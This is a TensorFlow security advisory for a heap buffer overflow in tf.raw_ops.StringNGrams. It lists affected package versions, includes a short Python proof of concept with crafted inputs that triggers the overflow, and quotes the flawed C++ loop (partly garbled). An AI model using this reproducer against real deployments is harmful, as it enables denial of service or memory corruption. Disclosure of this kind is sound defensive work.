GHSA-4hrh-9vmp-2jgg Heap buffer overflow in `StringNGrams`

• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2 • PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4 • PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3 • PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3 • PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2

Impact An attacker can cause a heap buffer overflow by passing crafted inputs to `tf.raw_ops.StringNGrams`: ```python import tensorflow as tf separator = b'\x02\x00' ngram_widths = [7, 6, 11] left_pad = b'\x7f\x7f\x7f\x7f\x7f' right_pad = b'\x7f\x7f\x25\x5d\x53\x74' pad_width = 50 preserve_short_sequences = True l = ['', '', '', '', '', '', '', '', '', '', ''] data = tf.constant(l, shape=[11], dtype=tf.string) l2 = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3] data_splits = tf.constant(l2, shape=[116], dtype=tf.int64) out = tf.raw_ops.StringNGrams(data=data, data_splits=data_splits, separator=separator, ngram_widths=ngram_widths, left_pad=left_pad, right_pad=right_pad, pad_width=pad_width, preserve_short_sequences=preserve_short_sequences) ``` This is because the implementation fails to consider corner cases where input would be split in such a way that the generated tokens should only contain padding elements: ```cc for (int ngram_index = 0; ngram_index 0 ? 0 : ngram_index - pad_width; ... tstring* ngram = &output[ngram_index]; ngram->reserve(ngram_size); for (int n = 0; n append(left_pad_); ngram->append(separator_); } for (int n = 0; n append(data[data_start_index + n]); ngram->append(separator_); } ngram->append(data[data_start_index + num_tokens - 1]); // append(separator_); ngram->append(right_pad_); } ... } ``` If input is such that `num_tokens` is 0, then, for `data_start_index=0` (when left padding is present), the marked line would result in reading `data[-1]`. Patches We have patched the issue in GitHub commit ba424dd8f16f7110eea526a8086f1a155f14f22b. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. For more information Please consult our security guide for more information regarding the security model and how to contact us with issues and questions. Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.